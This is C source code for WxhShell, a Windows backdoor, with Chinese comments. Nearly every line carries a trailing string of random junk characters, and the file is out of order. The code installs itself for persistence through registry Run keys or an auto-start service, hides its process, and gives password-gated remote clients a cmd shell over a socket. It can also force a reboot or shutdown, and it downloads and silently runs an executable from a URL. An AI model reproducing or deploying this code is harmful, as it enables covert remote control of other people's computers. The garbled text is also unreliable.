    if(Boot(SHUTDOWN)) WJBi#(SY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BX&bhWYGFX  
    else { [uP_F,Y/  
    closesocket(wsh); Ql sMMIax  
    ExitThread(0); xg %EQ  
    } M7BCBA  
    break; !0:uM)_k  
    } tL(B gku9  
  // 获取shell zRPXmu{t  
  case 's': { RWtD81(oC'  
    CmdShell(wsh); k`Nc<nN8  
    closesocket(wsh); l`8S1~j  
    ExitThread(0); l-4T Tg  
    break; PV vNu5k  
  } =8S*t5  
  // 退出 =,&PD(.  
  case 'x': { /gh=+;{  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); R'f|1mt  
    CloseIt(wsh); `9rwu:3i  
    break; $wUFHEl  
    } (yWU9q)5  
  // 离开 mh;<lW\K/Z  
  case 'q': { b[,J-/;JNL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .VN"j  
    closesocket(wsh); )O~LXK=b  
    WSACleanup(); @.ebQR-:H  
    exit(1); v'0A$`w`  
    break; Ovh  
        }  b=v  
  } mY?^]3-_  
  } ^Ts|/+}'i  
MjCD;I:C.  
  // 提示信息 $A\fm`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /,dcr*  
} x'_I{$C &  
  } %[0V>  
WCT}OiLsL  
  return; /n;-f%dL  
} bI.LE/yk  
e eb`Ao  
// shell模块句柄 rtf\{u9 }g  
int CmdShell(SOCKET sock) r4/G&m[V  
{ p x1y#Q  
STARTUPINFO si; j#d=V@=a  
ZeroMemory(&si,sizeof(si)); {_QXx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gqq%q!k&1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aOWW ..|  
PROCESS_INFORMATION ProcessInfo; j|"#S4IX)F  
char cmdline[]="cmd"; LcS\#p#s]  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e9/:q"*)/  
  return 0; VqqI%[!Aw  
} (@*[^@ipV  
ve[` 0  
// 自身启动模式 xrDHXqH  
int StartFromService(void) S 4uX utd  
{ = #]^H c  
typedef struct 4E]w4BG)  
{ _MQ)  
  DWORD ExitStatus; Zyxr#:Qm  
  DWORD PebBaseAddress; o-\ K]  
  DWORD AffinityMask; . (G9mZFV  
  DWORD BasePriority; Rhh5r0 \5  
  ULONG UniqueProcessId; ||3%REliC  
  ULONG InheritedFromUniqueProcessId; !'uL  
}   PROCESS_BASIC_INFORMATION; V(Ll]g/T_;  
d2sY.L  
PROCNTQSIP NtQueryInformationProcess; zu}oeAQc$  
s<VNW  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^6j: lL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `Yn:fL7S  
m` ^o<V&  
  HANDLE             hProcess; v3!oY t:l  
  PROCESS_BASIC_INFORMATION pbi; umZy=KHj  
QcJ?1GwA"  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eMyh&@7(F  
  if(NULL == hInst ) return 0; Vm}OrFA  
a@:(L"Or  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :VpRpj4f  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  734)s  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); d_s=5+Yj  
L+,p#w  
  if (!NtQueryInformationProcess) return 0; %+gYZv-  
=Hplg>h)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); AsJN~<0h  
  if(!hProcess) return 0; I3`WY-uv  
5%,5Xe4p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ~< %%n'xmm  
l,j7I3&~%  
  CloseHandle(hProcess); KvENH=oh  
J'c]':U  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u6^cLQO+  
if(hProcess==NULL) return 0; jp=z ^l  
F]]1>w*/0  
HMODULE hMod; xUl=N   
char procName[255]; r >bMx~a]  
unsigned long cbNeeded; {I'8+~|pZL  
FG/".dU  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K ZoIjK]  
~I[Z 2&I  
  CloseHandle(hProcess); "TW%-67  
y#F`yXUj  
if(strstr(procName,"services")) return 1; // 以服务启动 GaV6h|6_  
Q@]~O-  
  return 0; // 注册表启动 _8x:%$   
} u#(VR]u\7  
{Q9?Q?  
// 主模块 'J\nvNm  
int StartWxhshell(LPSTR lpCmdLine) Fy:CG6@X  
{ |a9d]^  
  SOCKET wsl; QOXG:?v\  
BOOL val=TRUE; q?} /q  
  int port=0; >g7}JI&  
  struct sockaddr_in door; cmG*"  
to9~l"n.s  
  if(wscfg.ws_autoins) Install(); !p$HS0c  
P^9y0Q  
port=atoi(lpCmdLine); BG ,ln(Vz  
6S]K@C=r  
if(port<=0) port=wscfg.ws_port; *IBT!@*Q&  
<u "xHl8Io  
  WSADATA data; fz/Ee1T\  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Y%<y`]I  
eS(hLXE!7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   < 12ia"}  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?VCdT`6=  
  door.sin_family = AF_INET; a#3+PB #  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ws;S=|9,7~  
  door.sin_port = htons(port); ='r86vq  
Ff6l"A5  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +/xmxh$ $  
closesocket(wsl); l~ 3H"  
return 1; s<3cvF<  
} ^`M,ju  
2J?ON|2M  
  if(listen(wsl,2) == INVALID_SOCKET) { 0"l*8%g  
closesocket(wsl); Y9V%eFY5E  
return 1; K1y]  
} E"i<fr T  
  Wxhshell(wsl); %L;z~C  
  WSACleanup(); ',Y`XP"Q  
l Tpn/  
return 0; O3ij/8f  
ivTx6-]  
} wJ.?u]f@  
K]c|v i_D  
// 以NT服务方式启动 scr`] tD  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pO]{Y?X:  
{ e !V3/*F  
DWORD   status = 0; #63)I9>  
  DWORD   specificError = 0xfffffff; 117`=9F  
*xHj*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; =AaTn::e/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; }ACWSkWK  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; (!'=?B "  
  serviceStatus.dwWin32ExitCode     = 0; KWuc*!  
  serviceStatus.dwServiceSpecificExitCode = 0; Eo h4#fZ\N  
  serviceStatus.dwCheckPoint       = 0; ,_SE!iL  
  serviceStatus.dwWaitHint       = 0; `)i'1E[9  
2=R}u-@6p  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p7SX,kpt>  
  if (hServiceStatusHandle==0) return; !+bLh W`  
m .:2G  
status = GetLastError(); h\qQ%|X  
  if (status!=NO_ERROR) Cu2eMUGt  
{ Y9}5&#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ~vL7$-:  
    serviceStatus.dwCheckPoint       = 0; ^wnlZ09J  
    serviceStatus.dwWaitHint       = 0; %w9/ gD  
    serviceStatus.dwWin32ExitCode     = status; Z"ce1cB  
    serviceStatus.dwServiceSpecificExitCode = specificError; k[_)5@2  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); vI84= n  
    return; W~" 'a9H/  
  } gteG*pi  
8]G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; U2hPsF4f  
  serviceStatus.dwCheckPoint       = 0; #:q$sKQ_$  
  serviceStatus.dwWaitHint       = 0; FJI%+$]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); wl^7.IR  
} m!'moumL;  
*U<l$gajq  
// 处理NT服务事件,比如:启动、停止 $!?tJ@{  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 2il)@&^  
{ %R|_o<(#MJ  
switch(fdwControl) L>trLD1pt  
{ l g0 'qH8  
case SERVICE_CONTROL_STOP:  F,hiKq*  
  serviceStatus.dwWin32ExitCode = 0; v8{ jEAK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; , ZisJksk  
  serviceStatus.dwCheckPoint   = 0; #\P\(+0K  
  serviceStatus.dwWaitHint     = 0; ]TE(:]o7V  
  { DJWm7 t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yW =I*f  
  } M53{e;.kN  
  return; w(,K  
case SERVICE_CONTROL_PAUSE: 'R-Ly^:Qd  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; UrC>n  
  break; N}|<P[LW  
case SERVICE_CONTROL_CONTINUE: g$^:2MT"aQ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1')_^]  
  break; ,0pCc<  
case SERVICE_CONTROL_INTERROGATE:  }q$6^y  
  break; OuZPgN  
}; {fd/:B 7T  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z 91{*?  
}  L- '{   
k vu SE  
// 标准应用程序主函数 pq T+lai)#  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ]3KMFV}  
{ hRU5CH/!  
v47S9Vm+  
// 获取操作系统版本 V(6*wQ`&  
OsIsNt=GetOsVer(); sxK|0i}6  
GetModuleFileName(NULL,ExeFile,MAX_PATH); tyI !y~-z  
$`a>y jma  
  // 从命令行安装 >b1#dEY  
  if(strpbrk(lpCmdLine,"iI")) Install(); a1 Kh  
q HU}EEv  
  // 下载执行文件 w=;Jj7}L  
if(wscfg.ws_downexe) { %&Fsk]T%:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) w7#9t  
  WinExec(wscfg.ws_filenam,SW_HIDE); qOqU CRUe:  
} Xn%ty@8  
H{d;, KfX  
if(!OsIsNt) { #9/^)^k  
// 如果时win9x,隐藏进程并且设置为注册表启动 @$*LU:[  
HideProc(); &s{" Vc9]  
StartWxhshell(lpCmdLine); yIq. m=  
} 7{BTtUMAC  
else &^7^7:Y=?  
  if(StartFromService()) Yk^clCB{A(  
  // 以服务方式启动 prdc}~J8{  
  StartServiceCtrlDispatcher(DispatchTable); RV_(T+  
else %U uVD  
  // 普通方式启动 $bCN;yE  
  StartWxhshell(lpCmdLine); f, iHM  
E2nsBP=5C  
return 0; rlpbLOG`  
} G u4mP  
n OQvBc  
m>:zwz< ;  
SDbR(oV  
=========================================== Ovhd%qV;Y  
]ZI ?U<0  
^o8o  
e[($rsx  
*NjjFk=R  
CG0jZB#u  
" r7zS4;b  
\UEO$~Km  
#include <stdio.h> f\vy5''  
#include <string.h> /\wm/Yx?S  
#include <windows.h> #,5v#| u|7  
#include <winsock2.h> >D5WAQ>b  
#include <winsvc.h> + e3{J_  
#include <urlmon.h> n85d g  
JFOXrRR=d  
#pragma comment (lib, "Ws2_32.lib") 2FxrjA  
#pragma comment (lib, "urlmon.lib") -}G>{5.A  
Vb++K0CK  
#define MAX_USER   100 // 最大客户端连接数 +FBUB  
#define BUF_SOCK   200 // sock buffer 5*hA6Ex7  
#define KEY_BUFF   255 // 输入 buffer (/[wM>q:r  
1"fbQ^4`  
#define REBOOT     0   // 重启 T!YfCw.HZ  
#define SHUTDOWN   1   // 关机 ls,;ozU  
V"u .u  
#define DEF_PORT   5000 // 监听端口 ,3,(/%=k  
7i##g,  
#define REG_LEN     16   // 注册表键长度 LD gGVl  
#define SVC_LEN     80   // NT服务名长度 K^Ixu~  
6mml96(  
// 从dll定义API uG^RU\(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); *>,#'C2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2'-!9!C  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sKniqWi  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); x@Ze%$'  
'\wZKY VN  
// wxhshell配置信息 hhr!FQ.+/  
struct WSCFG { 2JR$  
  int ws_port;         // 监听端口 nl/~7({  
  char ws_passstr[REG_LEN]; // 口令 n:P++^ j  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5)=YTUCk  
  char ws_regname[REG_LEN]; // 注册表键名 XNaiMpp'  
  char ws_svcname[REG_LEN]; // 服务名 ><DXT nt'x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >0AVs6&;v  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +6;1.5Tc  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @UwDsx&2(t  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ++|vy~T  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" XdV(=PS!a@  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \2OjIEQQ  
9>!B .Z?!#  
}; )+dd  
*R_mvJlT  
// default Wxhshell configuration ,1ceNF#oL  
struct WSCFG wscfg={DEF_PORT, @E !`:/k  
    "xuhuanlingzhe", Hq!|(  
    1, S7kZpD $  
    "Wxhshell", ;0JK>c ]#  
    "Wxhshell", e"^n^_9  
            "WxhShell Service", (!:+q$#BK  
    "Wrsky Windows CmdShell Service", ~fz9AhU8  
    "Please Input Your Password: ", ^b&U0k$R  
  1, %$ ^ eY'-'  
  "http://www.wrsky.com/wxhshell.exe", }pOJM &I  
  "Wxhshell.exe" qu+Zl1~$]  
    }; LQDU8[-  
S&z8-D=8k  
// 消息定义模块 i}e4P>ADD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sA:k8aj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; nS9 kwaO  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BWev(SF{Ny  
char *msg_ws_ext="\n\rExit."; W_FN*Er  
char *msg_ws_end="\n\rQuit."; !K8V":1du#  
char *msg_ws_boot="\n\rReboot..."; %(d0`9  
char *msg_ws_poff="\n\rShutdown..."; +et)!2N  
char *msg_ws_down="\n\rSave to "; f~Ve7   
i7|sVz=  
char *msg_ws_err="\n\rErr!"; >,A&(\rO  
char *msg_ws_ok="\n\rOK!"; e;r?g67  
(>M@Ukam:  
char ExeFile[MAX_PATH]; sV$Zf `X)  
int nUser = 0; lCxPR'C|  
HANDLE handles[MAX_USER]; `S:LuU8e  
int OsIsNt; a<Ksas'5S  
=2R0 g2n  
SERVICE_STATUS       serviceStatus; g'<ekY+V:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; jlb=]hp8%  
2|:x_rcj  
// 函数声明 bVW2Tjc:  
int Install(void); oBI@.&tG}  
int Uninstall(void); 5$<Ozkj(  
int DownloadFile(char *sURL, SOCKET wsh); g?> V4WF  
int Boot(int flag); T@gm0igW/;  
void HideProc(void);  Jknit  
int GetOsVer(void); bc%N !d  
int Wxhshell(SOCKET wsl); c?7 Wjy  
void TalkWithClient(void *cs); 2/f!{lz](  
int CmdShell(SOCKET sock); HE.YfD)  
int StartFromService(void); TBu[3X%  
int StartWxhshell(LPSTR lpCmdLine); z8*{i]j  
mgI7zJX  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $I4:g.gKpG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Og/@w&  
}e8u p*#me  
// 数据结构和表定义 Mx_O'D  
SERVICE_TABLE_ENTRY DispatchTable[] = JzZ@Z8%a;  
{ {-.ZFUZmT  
{wscfg.ws_svcname, NTServiceMain}, y25L`b  
{NULL, NULL} -;W`0 k^  
}; @*"H{xo.U  
QvvH/u  
// 自我安装 V)#rP?Y  
int Install(void) g;._Q   
{ 6sz:rv}  
  char svExeFile[MAX_PATH]; c]>LL(R-7)  
  HKEY key; Qm5Sf=E7Q  
  strcpy(svExeFile,ExeFile); zTb,h  
/A"UV\H`f  
// 如果是win9x系统,修改注册表设为自启动 bd[%=5  
if(!OsIsNt) { DQyy">]Mh  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NsUP0B}.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Uk<2XGj  
  RegCloseKey(key); E`gUNAKQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1# ;`1i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Eq/oq\(/6  
  RegCloseKey(key); Tt+E?C%Y  
  return 0; gf^XqTLs  
    } u~\l~v^mj  
  } @; 0t+  
} ~xakz BE  
else { `2PvE4]%p  
aZB$%#'vR  
// 如果是NT以上系统,安装为系统服务 o@ W:PmKW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^rssZQKY[  
if (schSCManager!=0) 3R)_'!R[B  
{  \>l DM  
  SC_HANDLE schService = CreateService |]+PDc%  
  ( ^J?y mo$>0  
  schSCManager, y6`zdB  
  wscfg.ws_svcname, \+VQoB/  
  wscfg.ws_svcdisp, #"KaRh  
  SERVICE_ALL_ACCESS, F,/yK-9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , %(i(Cf8@  
  SERVICE_AUTO_START, T[+~-D @  
  SERVICE_ERROR_NORMAL, NhF<2[mt  
  svExeFile, {/}p"(^  
  NULL, ,l7',@6Y  
  NULL, f,0,:)  
  NULL, L6n<h  
  NULL, 5rlZ'>I.  
  NULL s8|F e_  
  ); t;L7H E@Y  
  if (schService!=0) d[$YTw  
  { O#3PUuE%d  
  CloseServiceHandle(schService); ]JvZ{fA%*  
  CloseServiceHandle(schSCManager); *Y<1KXFU  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _>4Qh#6K  
  strcat(svExeFile,wscfg.ws_svcname); }Sv\$h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { HsRQiai*  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &09g0K66  
  RegCloseKey(key); C[s='v~}  
  return 0; C*&FApG  
    } S?e*<s9k  
  } Y7WU4He L  
  CloseServiceHandle(schSCManager); M$MFUGS'  
} &hSF  
} FC }r~syqA  
N= {0A  
return 1; kJK:1;CM?.  
} t^SND{[WcM  
gQ=l\/ H  
// 自我卸载 `~+[pY 1r  
int Uninstall(void) w .+B h  
{ |jJ9dTD8/  
  HKEY key; ? H7?>ZE  
aa,^+^J  
if(!OsIsNt) { dO|n[/qL0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |nT+ W| 0U  
  RegDeleteValue(key,wscfg.ws_regname); #1<Jwt+  
  RegCloseKey(key); ;`:A(yN]T  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /`VrV{\/!  
  RegDeleteValue(key,wscfg.ws_regname); KvkU]s_  
  RegCloseKey(key); A_}6J,*u  
  return 0; 0S$6j-"  
  } {<L|Z=&k`  
} '/ *;g#W=  
} x}X hL  
else { ^Kfm(E  
Zil<*(kv{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 8Q\ T,C  
if (schSCManager!=0) K\y W{y1  
{ se`^g ,]P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); pu,|_N[xq8  
  if (schService!=0) uL9O_a;!  
  { b_>x;5k  
  if(DeleteService(schService)!=0) { t)^18 z  
  CloseServiceHandle(schService); ]D&\|,,(  
  CloseServiceHandle(schSCManager); bPUldkB:  
  return 0; L]#b =Y  
  } <z R CT  
  CloseServiceHandle(schService);  #[yZP9  
  } =L&dV]'4P  
  CloseServiceHandle(schSCManager); ;$/]6@bqB  
} mWX{I2  
} !X ={a{<,T  
S9lT4  
return 1; V6 uh'2  
} vG#,J&aW  
v#b(0G  
// 从指定url下载文件 -Gd@baV  
int DownloadFile(char *sURL, SOCKET wsh) ^+rI=c 0  
{ b3l~wp6>  
  HRESULT hr; 8;5@5Au  
char seps[]= "/"; `C>De4nT@  
char *token; LQXMGgp  
char *file; R-OQ(]<*  
char myURL[MAX_PATH]; 0+6=ag%  
char myFILE[MAX_PATH]; (%SKTM  
)2: ,E  
strcpy(myURL,sURL); 4v;KtD;M  
  token=strtok(myURL,seps); ).8NZ Aj  
  while(token!=NULL) !(#d 7R  
  { NXSjN~aG2  
    file=token; (=t41-l  
  token=strtok(NULL,seps); MD>xRs   
  } cxc-|Xori  
@ w?,7i-S  
GetCurrentDirectory(MAX_PATH,myFILE); !T$h? o  
strcat(myFILE, "\\"); @:K={AIa  
strcat(myFILE, file); $64sf?aZ>#  
  send(wsh,myFILE,strlen(myFILE),0); ?d`j}  
send(wsh,"...",3,0); =H/ 5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); @Jc^ur  
  if(hr==S_OK) UIK4]cYC'  
return 0; iPdR;O'  
else Z:.*fs5  
return 1; Bnh*;J0  
]!v\whZ>  
} *IIuGtS  
&2,^CG  
// 系统电源模块 .'zcD^  
int Boot(int flag) ,)Z1&J?  
{ *Z2#U ?_  
  HANDLE hToken; #@}wl  
  TOKEN_PRIVILEGES tkp; \vF*n Z5/  
kWbD?i-  
  if(OsIsNt) { .9@y*_ 9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !;E{D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Rt^G  
    tkp.PrivilegeCount = 1; 6@-O#,]J  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; LZ z]4Mf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); v{oHC4  
if(flag==REBOOT) { r;SOAucX  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) uL |O<  
  return 0; 8om)A0S  
} k@^T<Ci  
else { 37 d-!  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) + ;_0:+//  
  return 0; 7O<K?;I  
} OEhDRU%k  
  } xew s~74L  
  else { A}G>JL  
if(flag==REBOOT) { npMPjknl  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ".sRi  
  return 0; kS< 9cy[O  
} 'DTq<`~?  
else { `Tc"a_p9t  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) h]DzX8r}  
  return 0; -~ H?R  
} /5m~t.Z9M  
} wPxtQv  
y)mtSA8  
return 1; M+-1/vR *@  
} A?"/ >LM  
#BwOWra  
// win9x进程隐藏模块 j W/*-:  
void HideProc(void) A@)ou0[n@  
{ ];*? `}#  
W4$F\y  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U[ |o!2$  
  if ( hKernel != NULL ) !+_X q$9_  
  { .05x=28n%  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <b_?[%(u  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); lt& c/xi_  
    FreeLibrary(hKernel); gb}>xO  
  } C^7M>i  
?b xa k  
return; Pa-{bhllu)  
} jO}<W1qy  
][B>`gC-  
// 获取操作系统版本 b] ~  
int GetOsVer(void) ?<U">8cP  
{ S^_F0</U,  
  OSVERSIONINFO winfo; @waY+sqt=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =O>E>Q  
  GetVersionEx(&winfo); MR/gLm(8(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d'[]  
  return 1; ')>D*e  
  else _zDf8hy  
  return 0; /A93mY[  
} &VTO9d  
Ue(\-b\)  
// 客户端句柄模块 k;Ask#rs  
int Wxhshell(SOCKET wsl) zXML<?w  
{ Ir6g"kwCKq  
  SOCKET wsh; wVkRrFJ  
  struct sockaddr_in client; \?"p]&2UcB  
  DWORD myID; qKk|2ecTB5  
|'](zEwq  
  while(nUser<MAX_USER) '1rO&F  
{ u1ahAk7  
  int nSize=sizeof(client); m.ejGm?  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); i/RA/q  
  if(wsh==INVALID_SOCKET) return 1; Xp0S  
Lc_cB`  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); );d"gv(]D  
if(handles[nUser]==0) *Qy,?2  
  closesocket(wsh); rkn'1M&u  
else N `[ ?db-%  
  nUser++; :(#5%6F  
  } B}^l'p_u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Z4369  
:5_394v  
  return 0; 'M,O(utGv  
} F&a)mpFv3c  
dWiX_&g  
// 关闭 socket N1Dr'aw*  
void CloseIt(SOCKET wsh) R})b%y`]  
{ ;nAI;Qw L  
closesocket(wsh); Zx)gLDd  
nUser--; gm =LM=  
ExitThread(0); Zw_'u=r >  
} Ca ?d8  
3|=L1Pw#  
// 客户端请求句柄 c+501's  
void TalkWithClient(void *cs) i!yE#zew  
{ 0}N"L ml  
s f8F h  
  SOCKET wsh=(SOCKET)cs; 6Cgc-KNbk  
  char pwd[SVC_LEN]; $^`@lyr  
  char cmd[KEY_BUFF]; P.- `[  
char chr[1]; (: @7IWZf@  
int i,j; +!$]a^3l  
"~L$oji  
  while (nUser < MAX_USER) { :*MR$Jf  
>1hhz  
if(wscfg.ws_passstr) { Wv]ODEd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5IfC8drAs  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6UM1>xq9A  
  //ZeroMemory(pwd,KEY_BUFF); /i(R~7;?  
      i=0; ##nC@h@  
  while(i<SVC_LEN) { yaYJmhG  
f0 kz:sZ9  
  // 设置超时 $ EexNz  
  fd_set FdRead; CTJwZY7  
  struct timeval TimeOut; #Ve@D@d[  
  FD_ZERO(&FdRead); 7yUX]95y8  
  FD_SET(wsh,&FdRead); V#X<Yt  
  TimeOut.tv_sec=8; >DR$}{IV  
  TimeOut.tv_usec=0; WJy\{YAG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t"P:}ps{?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +aN"*//i  
vQy+^deW  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v(p<88.!m  
  pwd=chr[0]; A~H@0>1  
  if(chr[0]==0xd || chr[0]==0xa) { }!N/?A5  
  pwd=0; p{AX"|QM"  
  break; ;*cCaB0u  
  } BT"n;L?[  
  i++; p#6tKY;N  
    } Hz j%G>  
cVl i^*se  
  // 如果是非法用户,关闭 socket GOD{?#c$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); v {) 8QF]  
} {xf00/  
Q^):tO]!Ma  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); *gOUpbtXa  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WWT1_&0  
N 1hj[G[H"  
while(1) { Wpc8T="q  
%:Z_~7ZR  
  ZeroMemory(cmd,KEY_BUFF); yw >Frb5p  
i5SDy(?r  
      // 自动支持客户端 telnet标准   _pxurq{  
  j=0; l OiZ2_2  
  while(j<KEY_BUFF) { J~AmRo0!k  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); KBa0  
  cmd[j]=chr[0]; d ;i@9+  
  if(chr[0]==0xa || chr[0]==0xd) { sY:=bU^P  
  cmd[j]=0; ~l]g4iEp  
  break; b8!   
  } 3 Scc"9]  
  j++; slaH2}$xR  
    } -6$GM J7  
\- 8aTF  
  // 下载文件 O=oIkvg  
  if(strstr(cmd,"http://")) { . f!dH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); sfk;c#K  
  if(DownloadFile(cmd,wsh)) *!ecb1U5  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZFs xsg^r  
  else Z9eP(ip  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1Cw HGO  
  } xNjWo*y v  
  else { A=wG};%_  
)r?- _qj=  
    switch(cmd[0]) { sgRWjrc/  
  D 4sp+   
  // 帮助 <6+T&Ov6  
  case '?': { 7"1]5\p^g  
